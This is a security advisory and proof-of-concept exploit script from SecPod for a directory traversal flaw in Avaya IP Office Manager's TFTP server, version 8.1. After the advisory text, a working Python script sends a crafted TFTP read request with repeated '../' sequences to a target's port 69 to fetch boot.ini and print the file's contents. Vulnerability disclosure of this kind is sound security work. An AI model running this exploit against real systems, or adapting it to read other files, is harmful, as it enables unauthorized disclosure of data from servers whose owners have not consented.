1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
#!/usr/bin/python ############################################################################### # #Title: Avaya IP Office Manager TFTP Server Directory Traversal Vulnerability #Author : Veerendra G.G from SecPod Technologies (www.secpod.com) #Vendor : http://www.avaya.com/usa/product/ip-office #Advisory : http://www.avaya.com/usa/product/ip-office # http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap # http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py # http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt #Version: Avaya IP Office Manager TFTP Server Version 8.1 #Date : 08/07/2011 # ################################################################################ # #SecPod ID: 1017 25/05/2011 Issue Discovered #31/05/2011 Vendor Notified #No Response from the Vendor # 08/07/2011 Advisory Released # # #Class: Information Disclosure Severity: Medium # # #Overview: #--------- #Avaya IP Office Manager TFTP Server Version 8.1 is prone to a Directory #Traversal vulnerability. # # #Technical Description: #---------------------- #The vulnerability is caused due to improper validation to Read Request #Parameter containing '../' sequences, which allows attackers to read #arbitrary files via directory traversal attacks. # # #Impact: #-------- #Successful exploitation could allow an attacker to to obtain sensitive #information, which can lead to launching further attacks. # # #Affected Software: #------------------ #Avaya IP Office Manager TFTP Server Version 8.1 # # #Tested on: #----------- #Avaya IP Office Manager TFTP Server Version 8.1 on Windows XP SP3. # # #References: #----------- #http://secpod.org/blog/?p=225 #http://www.avaya.com/usa/product/ip-office #http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap #http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py #http://secpod.org/advisories/SECPOD_Avaya_IP_Manager_TFTP_Dir_Trav.txt # # #Proof of Concept: #---------------- #http://secpod.org/SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py #http://secpod.org/SECPOD_Avaya-IP-Manager-TFTP-Dir-Trav.pcap # # #Solution: #---------- #Not available # # #Risk Factor: #------------- #CVSS Score Report: #ACCESS_VECTOR= NETWORK #ACCESS_COMPLEXITY= LOW #AUTHENTICATION = NOT_REQUIRED #CONFIDENTIALITY_IMPACT = PARTIAL #INTEGRITY_IMPACT = NONE #AVAILABILITY_IMPACT= NONE #EXPLOITABILITY = PROOF_OF_CONCEPT #REMEDIATION_LEVEL= UNAVAILABLE #REPORT_CONFIDENCE= CONFIRMED #CVSS Base Score= 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N) #CVSS Temporal Score= 4.5 #Risk factor= Medium # # #Credits: #-------- #Veerendra G.G of SecPod Technologies has been credited with the discovery of #this vulnerability. # # #SECPOD_Exploit-Avaya-IP-Manager-Dir-Trav.py: # ############################################################################## # Exploit : http://secpod.com/blog/?p=225 # http://secpod.org/Exploit-Avaya-IP-Manager-Dir-Trav.py # http://secpod.org/advisories/SecPod_Avaya_IP_Manager_TFTP_Dir_Trav.txt # Author: Veerendra G.G from SecPod Technologies (www.secpod.com) # # Get File content using Directory Traversal Attack # Tested against Avaya Office IP Manager 8.1 ############################################################################## def sendPacket(HOST, PORT, data): ''' Sends UDP Data to a Particular Host on a Specified Port with a Given Data and Return the Response ''' udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.sendto(data, (HOST, PORT)) data = udp_sock.recv(1024) udp_sock.close() return data if __name__ == "__main__": if len(sys.argv) < 2: print "\tUsage: python exploit.py target_ip" print "\tExample : python exploit.py 127.0.0.1" print "\tExiting..." sys.exit(0) HOST = sys.argv[1] ## The Server IP PORT = 69 ## Default TFTP port data = "\x00\x01" ## TFTP Read Request data += "../" * 10 + "boot.ini" + "\x00" ## Read boot.ini file using directory traversal data += "octet\x00" ## TFTP Type rec_data = sendPacket(HOST, PORT, data) print "Data Found on the target : %s " %(HOST) print rec_data.strip() |